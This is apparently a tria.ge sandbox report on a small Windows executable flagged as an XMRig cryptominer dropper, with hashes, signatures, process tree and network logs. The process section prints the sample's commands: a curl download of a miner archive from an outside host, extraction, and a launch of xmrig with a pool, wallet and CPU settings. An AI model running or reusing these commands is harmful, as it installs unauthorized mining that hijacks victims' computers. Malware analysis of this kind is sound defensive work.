Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3test - Copy (10).exe
windows10-2004-x64
10test - Copy (10).exe
windows11-21h2-x64
10test - Copy (11).exe
windows10-2004-x64
10test - Copy (11).exe
windows11-21h2-x64
10test - Copy (12).exe
windows10-2004-x64
10test - Copy (12).exe
windows11-21h2-x64
10test - Copy (13).exe
windows10-2004-x64
10test - Copy (13).exe
windows11-21h2-x64
10test - Copy (14).exe
windows10-2004-x64
10test - Copy (14).exe
windows11-21h2-x64
10test - Copy (2).exe
windows10-2004-x64
7test - Copy (2).exe
windows11-21h2-x64
7test - Copy (3).exe
windows10-2004-x64
10test - Copy (3).exe
windows11-21h2-x64
10test - Copy (4).exe
windows10-2004-x64
10test - Copy (4).exe
windows11-21h2-x64
10test - Copy (5).exe
windows10-2004-x64
10test - Copy (5).exe
windows11-21h2-x64
3test - Copy (6).exe
windows10-2004-x64
7test - Copy (6).exe
windows11-21h2-x64
10test - Copy (7).exe
windows10-2004-x64
10test - Copy (7).exe
windows11-21h2-x64
10test - Copy (8).exe
windows10-2004-x64
10test - Copy (8).exe
windows11-21h2-x64
7test - Copy (9).exe
windows10-2004-x64
10test - Copy (9).exe
windows11-21h2-x64
10test - Copy.exe
windows10-2004-x64
7test - Copy.exe
windows11-21h2-x64
10test.exe
windows10-2004-x64
10test.exe
windows11-21h2-x64
7Resubmissions
11/03/2024, 21:08 UTC
240311-zy7ywsed31 1011/03/2024, 21:06 UTC
240311-zx53xagd73 1011/03/2024, 21:02 UTC
240311-zvwrfsec3x 1011/03/2024, 21:01 UTC
240311-ztxx5aeb9x 1011/03/2024, 20:59 UTC
240311-zs72psgc56 1011/03/2024, 20:57 UTC
240311-zrmpdaeb3v 1011/03/2024, 20:56 UTC
240311-zqzbsagb66 1011/03/2024, 20:55 UTC
240311-zqlexsgb55 1011/03/2024, 20:54 UTC
240311-zp4j4sgb43 1011/03/2024, 20:53 UTC
240311-zplz3agb32 10Analysis
-
max time kernel
1620s -
max time network
1592s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
11/03/2024, 21:08 UTC
Static task
static1
Behavioral task
behavioral1
Sample
test - Copy (10).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
test - Copy (10).exe
Resource
win11-20240221-en
Behavioral task
behavioral3
Sample
test - Copy (11).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
test - Copy (11).exe
Resource
win11-20240221-en
Behavioral task
behavioral5
Sample
test - Copy (12).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral6
Sample
test - Copy (12).exe
Resource
win11-20240221-en
Behavioral task
behavioral7
Sample
test - Copy (13).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral8
Sample
test - Copy (13).exe
Resource
win11-20240221-en
Behavioral task
behavioral9
Sample
test - Copy (14).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral10
Sample
test - Copy (14).exe
Resource
win11-20240221-en
Behavioral task
behavioral11
Sample
test - Copy (2).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral12
Sample
test - Copy (2).exe
Resource
win11-20240221-en
Behavioral task
behavioral13
Sample
test - Copy (3).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral14
Sample
test - Copy (3).exe
Resource
win11-20240221-en
Behavioral task
behavioral15
Sample
test - Copy (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral16
Sample
test - Copy (4).exe
Resource
win11-20240221-en
Behavioral task
behavioral17
Sample
test - Copy (5).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral18
Sample
test - Copy (5).exe
Resource
win11-20240221-en
Behavioral task
behavioral19
Sample
test - Copy (6).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral20
Sample
test - Copy (6).exe
Resource
win11-20240221-en
Behavioral task
behavioral21
Sample
test - Copy (7).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral22
Sample
test - Copy (7).exe
Resource
win11-20240221-en
Behavioral task
behavioral23
Sample
test - Copy (8).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral24
Sample
test - Copy (8).exe
Resource
win11-20240221-en
Behavioral task
behavioral25
Sample
test - Copy (9).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral26
Sample
test - Copy (9).exe
Resource
win11-20240221-en
Behavioral task
behavioral27
Sample
test - Copy.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral28
Sample
test - Copy.exe
Resource
win11-20240221-en
Behavioral task
behavioral29
Sample
test.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral30
Sample
test.exe
Resource
win11-20240221-en
General
-
Target
test - Copy (3).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral13/files/0x0003000000000741-21.dat family_xmrig behavioral13/files/0x0003000000000741-21.dat xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation test - Copy (3).exe -
Executes dropped EXE 1 IoCs
pid Process 1092 xmrig.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2444 wrote to memory of 1144 2444 test - Copy (3).exe 85 PID 2444 wrote to memory of 1144 2444 test - Copy (3).exe 85 PID 1144 wrote to memory of 2428 1144 cmd.exe 87 PID 1144 wrote to memory of 2428 1144 cmd.exe 87 PID 1144 wrote to memory of 4744 1144 cmd.exe 96 PID 1144 wrote to memory of 4744 1144 cmd.exe 96 PID 1144 wrote to memory of 1092 1144 cmd.exe 97 PID 1144 wrote to memory of 1092 1144 cmd.exe 97
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XZaygvPg.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵PID:2428
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵PID:4744
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
PID:1092
-
-
Network
-
Remote address:8.8.8.8:53Request97.17.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request1488.netlify.appIN AResponse1488.netlify.appIN A18.192.94.961488.netlify.appIN A52.58.254.253
-
Remote address:18.192.94.96:443RequestGET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
Host: 1488.netlify.app
User-Agent: curl/7.55.1
Accept: */*
ResponseHTTP/1.1 200 OK
Age: 545
Cache-Control: public,max-age=0,must-revalidate
Cache-Status: "Netlify Edge"; hit
Content-Length: 3336525
Content-Type: application/zip
Date: Sat, 16 Mar 2024 14:48:39 GMT
Etag: "3f561091cdba4bace650b26717533c91-ssl"
Server: Netlify
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Nf-Request-Id: 01HS3VRZTA38WRSEJ5QKSSSPN3
-
Remote address:8.8.8.8:53Request96.94.192.18.in-addr.arpaIN PTRResponse96.94.192.18.in-addr.arpaIN PTRec2-18-192-94-96eu-central-1compute amazonawscom
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request193.178.17.96.in-addr.arpaIN PTRResponse193.178.17.96.in-addr.arpaIN PTRa96-17-178-193deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request71.159.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request104.219.191.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request58.55.71.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request79.121.231.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request103.169.127.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request206.23.85.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request217.135.221.88.in-addr.arpaIN PTRResponse217.135.221.88.in-addr.arpaIN PTRa88-221-135-217deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request189.178.17.96.in-addr.arpaIN PTRResponse189.178.17.96.in-addr.arpaIN PTRa96-17-178-189deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request189.178.17.96.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request189.178.17.96.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request43.229.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request91.16.208.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request91.16.208.104.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request91.16.208.104.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request183.59.114.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request134.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request9.228.82.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request41.110.16.96.in-addr.arpaIN PTRResponse41.110.16.96.in-addr.arpaIN PTRa96-16-110-41deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request100.5.17.2.in-addr.arpaIN PTRResponse100.5.17.2.in-addr.arpaIN PTRa2-17-5-100deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request100.5.17.2.in-addr.arpaIN PTRResponse100.5.17.2.in-addr.arpaIN PTRa2-17-5-100deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request119.110.54.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request119.110.54.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request211.178.17.96.in-addr.arpaIN PTRResponse211.178.17.96.in-addr.arpaIN PTRa96-17-178-211deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request211.178.17.96.in-addr.arpaIN PTRResponse211.178.17.96.in-addr.arpaIN PTRa96-17-178-211deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request211.135.221.88.in-addr.arpaIN PTRResponse211.135.221.88.in-addr.arpaIN PTRa88-221-135-211deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request211.135.221.88.in-addr.arpaIN PTRResponse211.135.221.88.in-addr.arpaIN PTRa88-221-135-211deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request205.178.17.96.in-addr.arpaIN PTRResponse205.178.17.96.in-addr.arpaIN PTRa96-17-178-205deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request205.178.17.96.in-addr.arpaIN PTRResponse205.178.17.96.in-addr.arpaIN PTRa96-17-178-205deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request187.178.17.96.in-addr.arpaIN PTRResponse187.178.17.96.in-addr.arpaIN PTRa96-17-178-187deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request187.178.17.96.in-addr.arpaIN PTRResponse187.178.17.96.in-addr.arpaIN PTRa96-17-178-187deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request18.134.221.88.in-addr.arpaIN PTRResponse18.134.221.88.in-addr.arpaIN PTRa88-221-134-18deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request18.134.221.88.in-addr.arpaIN PTRResponse18.134.221.88.in-addr.arpaIN PTRa88-221-134-18deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request185.178.17.96.in-addr.arpaIN PTRResponse185.178.17.96.in-addr.arpaIN PTRa96-17-178-185deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request185.178.17.96.in-addr.arpaIN PTRResponse185.178.17.96.in-addr.arpaIN PTRa96-17-178-185deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request50.134.221.88.in-addr.arpaIN PTRResponse50.134.221.88.in-addr.arpaIN PTRa88-221-134-50deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request50.134.221.88.in-addr.arpaIN PTRResponse50.134.221.88.in-addr.arpaIN PTRa88-221-134-50deploystaticakamaitechnologiescom
-
81.2kB 3.1MB 1648 2403
HTTP Request
GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipHTTP Response
200
-
71 B 145 B 1 1
DNS Request
97.17.167.52.in-addr.arpa
-
62 B 94 B 1 1
DNS Request
1488.netlify.app
DNS Response
18.192.94.9652.58.254.253
-
71 B 136 B 1 1
DNS Request
96.94.192.18.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
-
72 B 137 B 1 1
DNS Request
193.178.17.96.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
71.159.190.20.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
104.219.191.52.in-addr.arpa
-
70 B 144 B 1 1
DNS Request
58.55.71.13.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
79.121.231.20.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
103.169.127.40.in-addr.arpa
-
71 B 145 B 1 1
DNS Request
206.23.85.13.in-addr.arpa
-
73 B 139 B 1 1
DNS Request
217.135.221.88.in-addr.arpa
-
216 B 137 B 3 1
DNS Request
189.178.17.96.in-addr.arpa
DNS Request
189.178.17.96.in-addr.arpa
DNS Request
189.178.17.96.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
43.229.111.52.in-addr.arpa
-
216 B 146 B 3 1
DNS Request
91.16.208.104.in-addr.arpa
DNS Request
91.16.208.104.in-addr.arpa
DNS Request
91.16.208.104.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
183.59.114.20.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
134.32.126.40.in-addr.arpa
-
70 B 156 B 1 1
DNS Request
9.228.82.20.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
41.110.16.96.in-addr.arpa
-
138 B 262 B 2 2
DNS Request
100.5.17.2.in-addr.arpa
DNS Request
100.5.17.2.in-addr.arpa
-
144 B 316 B 2 2
DNS Request
119.110.54.20.in-addr.arpa
DNS Request
119.110.54.20.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
211.178.17.96.in-addr.arpa
DNS Request
211.178.17.96.in-addr.arpa
-
146 B 278 B 2 2
DNS Request
211.135.221.88.in-addr.arpa
DNS Request
211.135.221.88.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
205.178.17.96.in-addr.arpa
DNS Request
205.178.17.96.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
187.178.17.96.in-addr.arpa
DNS Request
187.178.17.96.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
18.134.221.88.in-addr.arpa
DNS Request
18.134.221.88.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
185.178.17.96.in-addr.arpa
DNS Request
185.178.17.96.in-addr.arpa
-
144 B 274 B 2 2
DNS Request
50.134.221.88.in-addr.arpa
DNS Request
50.134.221.88.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
2.8MB
MD5d4ed067ec8a970dabd21afd7731f2ba7
SHA1baa69272514e84fa084d1bf7f3ce228f789e9391
SHA2568aea70cd54bacf9539613f1ae1577447e75129a6046f71bb6951d9ee9cb4864e
SHA51261bbe81ca81ad0812fb98f2083df1cc17eae510ac192540349c61efe34e0c5d51d46778e0b5f8622faa5d6a1c013c756c18086ff2bbf68e22a09126462ca8d15
-
Filesize
7.9MB
MD5543a1ddf574e3ee7a57e2c75353e138c
SHA10152214e022cf8427423f8b55d01014a80ea50db
SHA256f2184e9eb2b03019588497cf00948f25faf0e21fbfa846a76de09daf8bd78a00
SHA512f6300136c6b8193a65da7731ae854dbbb3363fe18c34c9683886c8582b1bd0552ac06dddbb0f04d713538b1406b8cd8f4e7a2b3acb8cb41ceb3573f69ae41e89